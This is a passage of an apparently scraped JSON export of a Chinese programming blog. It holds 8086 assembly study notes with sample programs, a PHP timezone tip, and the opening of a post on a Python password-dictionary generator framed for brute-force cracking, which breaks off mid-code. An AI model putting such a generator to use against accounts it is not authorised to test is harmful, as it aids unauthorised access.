href=\"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/#%E5%B0%8F%E7%BB%93\" class=\"headerlink\" title=\"小结\"\u003e\u003c/a\u003e小结\u003c/h2\u003e\u003cp\u003e和栈机制一样,进制转换是很多技术的基础。某些时候利用它,或许会获得意想不到的奇效。\u003c/p\u003e\u003cp\u003e同时,作为算法的源泉,\u003cstrong\u003e数学真的很重要\u003c/strong\u003e。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/"},{"title":"汇编学习笔记:段","time":"2021-09-14T08:50:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e[[Assembly|汇编笔记系列]]\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e直接上例程吧:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eassume cs:code,ds:data,ss:stack\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edata segment\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e dw 0123h,0456h,0789h,0abch,0defh,0fedh,0cbah,0987h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edw ends\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estack segment\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e dw 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estack ends\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecode segment\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estart: mov ax,stack\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ss,ax\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov sp,20h ;设置栈顶ss:sp指向stack:20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ax,data\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ds,ax\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov bx,0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov cx,8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e s: push [bx]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e add bx,2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e loop s\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov bx,0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov cx,8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e s0: pop [bx]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e add bx,2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e loop s0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ax,4c00h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e int 21h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecode ends\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eend start\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e简单来说,段可以把程序划分为多个部分,便于我们更清晰地组织指令,数据和栈。\u003c/p\u003e\u003cp\u003e一个程序可以有多个段,只需要使用不同的段名即可。那么编译器怎么知道程序从哪里开始执行呢?从start标号开始。同样,这个标号的名称也是由我们自己确定的。\u003c/p\u003e\u003cp\u003e每个段的地址是\u003ccode\u003e段名:0000H\u003c/code\u003e。这样的设计十分方便我们随时使用不同的段。如此组织代码,数据和栈,程序就显得十分清晰。所以,多多使用段吧。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/14/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%AE%B5/"},{"title":"汇编学习笔记:汇编基础","time":"2021-09-08T12:01:38Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e[[Assembly|汇编笔记系列]]\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e先放一段源代码。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eassume cs:code\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecode segment\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ax, 0ffffh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ds, ax\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov bx, 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov dx, 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov cx, 12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es: mov al, [bx]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ah, 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e add dx, ax\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e inc bx\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e loop s\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mov ax, 4c00h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e int 21h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecode ends\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eend\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的程序计算\u003ccode\u003effff:0-ffff:b\u003c/code\u003e单元中数据的和,结果存储在\u003ccode\u003edx\u003c/code\u003e中。\u003c/p\u003e\u003cp\u003e下面先说些东西再看这个程序。\u003c/p\u003e\u003ch2 id=\"存储单元\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#%E5%AD%98%E5%82%A8%E5%8D%95%E5%85%83\" class=\"headerlink\" title=\"存储单元\"\u003e\u003c/a\u003e存储单元\u003c/h2\u003e\u003cp\u003e存储器被划分为多个存储单元,编号从0开始。一个存储单元可存储一个\u003ccode\u003eByte\u003c/code\u003e(B),即\u003ccode\u003e8bit\u003c/code\u003e(1bit(b)是一个二进制位)或者称作一字节。两个字节合成一个字,也就是字面意思上的字。\u003c/p\u003e\u003ch2 id=\"寄存器\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#%E5%AF%84%E5%AD%98%E5%99%A8\" class=\"headerlink\" title=\"寄存器\"\u003e\u003c/a\u003e寄存器\u003c/h2\u003e\u003cp\u003e这里**只讨论\u003ccode\u003e8086CPU\u003c/code\u003e**。CPU主要部件是寄存器。我们通过改写寄存器中的内容来控制CPU,从而完成各种程序。\u003cbr/\u003e8086CPU的寄存器有:\u003ccode\u003eAX\u003c/code\u003e、\u003ccode\u003eBX\u003c/code\u003e、\u003ccode\u003eCX\u003c/code\u003e、\u003ccode\u003eDX\u003c/code\u003e、\u003ccode\u003eSI\u003c/code\u003e、\u003ccode\u003eDI\u003c/code\u003e、\u003ccode\u003eSP\u003c/code\u003e、\u003ccode\u003eBP\u003c/code\u003e、\u003ccode\u003eIP\u003c/code\u003e、\u003ccode\u003eCS\u003c/code\u003e、\u003ccode\u003eSS\u003c/code\u003e、\u003ccode\u003eDS\u003c/code\u003e、\u003ccode\u003eES\u003c/code\u003e、\u003ccode\u003ePSW\u003c/code\u003e。后面单独介绍这些寄存器。\u003c/p\u003e\u003ch3 id=\"通用寄存器\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#%E9%80%9A%E7%94%A8%E5%AF%84%E5%AD%98%E5%99%A8\" class=\"headerlink\" title=\"通用寄存器\"\u003e\u003c/a\u003e通用寄存器\u003c/h3\u003e\u003cp\u003e8086所有寄存器都是16位的,可存放两个字节(或称为一个字)。\u003ccode\u003eAX\u003c/code\u003e、\u003ccode\u003eBX\u003c/code\u003e、\u003ccode\u003eCX\u003c/code\u003e、\u003ccode\u003eDX\u003c/code\u003e这四个寄存器通常用来存放一般性的数据,所以它们又被称作通用寄存器。它由16个二进制位构成,最右边是最低位,最左边是最高位,编号从零开始,从右往左依次升高,这和数字各位的读写顺序一样。\u003c/p\u003e\u003cp\u003e不仅如此,这四个寄存器每个都能分成2个独立的8位寄存器来使用。\u003ccode\u003eAX\u003c/code\u003e对应\u003ccode\u003eAH\u003c/code\u003e和\u003ccode\u003eAL\u003c/code\u003e,H是high,即高八位;L是low,即低八位。另外3个寄存器同理。\u003c/p\u003e\u003cp\u003e字和字节在其中的存储,都是从右至左,从低八位最右侧到高八位最左侧。\u003c/p\u003e\u003ch2 id=\"内存的读写\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#%E5%86%85%E5%AD%98%E7%9A%84%E8%AF%BB%E5%86%99\" class=\"headerlink\" title=\"内存的读写\"\u003e\u003c/a\u003e内存的读写\u003c/h2\u003e\u003cp\u003e首先做一个简单的算数。8位对应256种状态,同时也对应2个16进制数。而8086的物理地址长度是20位,也就对应5位十六进制数。那么,地址应该如何存储呢?用两个寄存器。一个存放16位,另一个存放4位。前者存放的,被称为偏移地址(offset),后者存放的,被称为段地址。\u003c/p\u003e\u003cp\u003e当获得段地址和偏移地址后,CPU中的地址加法器会利用如下公式进行转换:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e物理地址=段地址*16+偏移地址\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"段寄存器\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#%E6%AE%B5%E5%AF%84%E5%AD%98%E5%99%A8\" class=\"headerlink\" title=\"段寄存器\"\u003e\u003c/a\u003e段寄存器\u003c/h2\u003e\u003cp\u003e8086中,段地址在段寄存器种存储。它有四个段寄存器:\u003ccode\u003eCS\u003c/code\u003e,\u003ccode\u003eDS\u003c/code\u003e,\u003ccode\u003eSS\u003c/code\u003e,\u003ccode\u003eES\u003c/code\u003e。8086要访问内存时由这四个段寄存器提供内存单元的段地址。\u003c/p\u003e\u003cp\u003e[CS:IP]\u003c/p\u003e\u003cp\u003e[jmp]\u003c/p\u003e\u003ch2 id=\"Debug简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#Debug%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"Debug简介\"\u003e\u003c/a\u003eDebug简介\u003c/h2\u003e\u003ch2 id=\"DS和-address\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#DS%E5%92%8C-address\" class=\"headerlink\" title=\"DS和[address]\"\u003e\u003c/a\u003eDS和[address]\u003c/h2\u003e\u003ch2 id=\"mov-add-sub指令\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#mov-add-sub%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"mov, add, sub指令\"\u003e\u003c/a\u003emov, add, sub指令\u003c/h2\u003e\u003ch2 id=\"CPU的栈机制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#CPU%E7%9A%84%E6%A0%88%E6%9C%BA%E5%88%B6\" class=\"headerlink\" title=\"CPU的栈机制\"\u003e\u003c/a\u003eCPU的栈机制\u003c/h2\u003e\u003cp\u003e[push,pop]\u003c/p\u003e\u003ch2 id=\"bx-loop\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#bx-loop\" class=\"headerlink\" title=\"[bx], loop\"\u003e\u003c/a\u003e[bx], loop\u003c/h2\u003e\u003ch2 id=\"段前缀\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/#%E6%AE%B5%E5%89%8D%E7%BC%80\" class=\"headerlink\" title=\"段前缀\"\u003e\u003c/a\u003e段前缀\u003c/h2\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Assembly/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80/"},{"title":"PHP配置文件详解","time":"2021-09-08T05:09:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"data-timezone\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E8%AF%A6%E8%A7%A3/#data-timezone\" class=\"headerlink\" title=\"data.timezone\"\u003e\u003c/a\u003edata.timezone\u003c/h2\u003e\u003cp\u003e顾名思义,时区。\u003c/p\u003e\u003cp\u003e一般设置为\u003ccode\u003e\u0026#34;Asia/Shanghai\u0026#34;\u003c/code\u003e,这样时间相关的函数就正确了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e我用ksweb的时候遇到过这个问题,当时竟然没想着改一下php.ini试试\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E8%AF%A6%E8%A7%A3/"},{"title":"用Python写一个字典生成器","time":"2021-09-06T15:07:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"序言\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Python/%E7%94%A8Python%E5%86%99%E4%B8%80%E4%B8%AA%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%99%A8/#%E5%BA%8F%E8%A8%80\" class=\"headerlink\" title=\"序言\"\u003e\u003c/a\u003e序言\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e你知道52的7次方有多大吗?我算过,如果存储这么多个7位密码,大概需要13TiB的存储空间。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这就是我写了两个版本字典生成方法的原因:如果真的要全部生成完再去跑字典,那几乎是不可能的事。\u003c/p\u003e\u003ch2 id=\"算法1:for循环递归\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Python/%E7%94%A8Python%E5%86%99%E4%B8%80%E4%B8%AA%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%99%A8/#%E7%AE%97%E6%B3%951%EF%BC%9Afor%E5%BE%AA%E7%8E%AF%E9%80%92%E5%BD%92\" class=\"headerlink\" title=\"算法1:for循环递归\"\u003e\u003c/a\u003e算法1:for循环递归\u003c/h2\u003e\u003cp\u003e这是一个相当简单粗暴的算法。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003egen_with_for\u003c/span\u003e(\u003cspan class=\"params\"\u003elength, letters, result = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e length = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(length)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e letters = \u003cspan 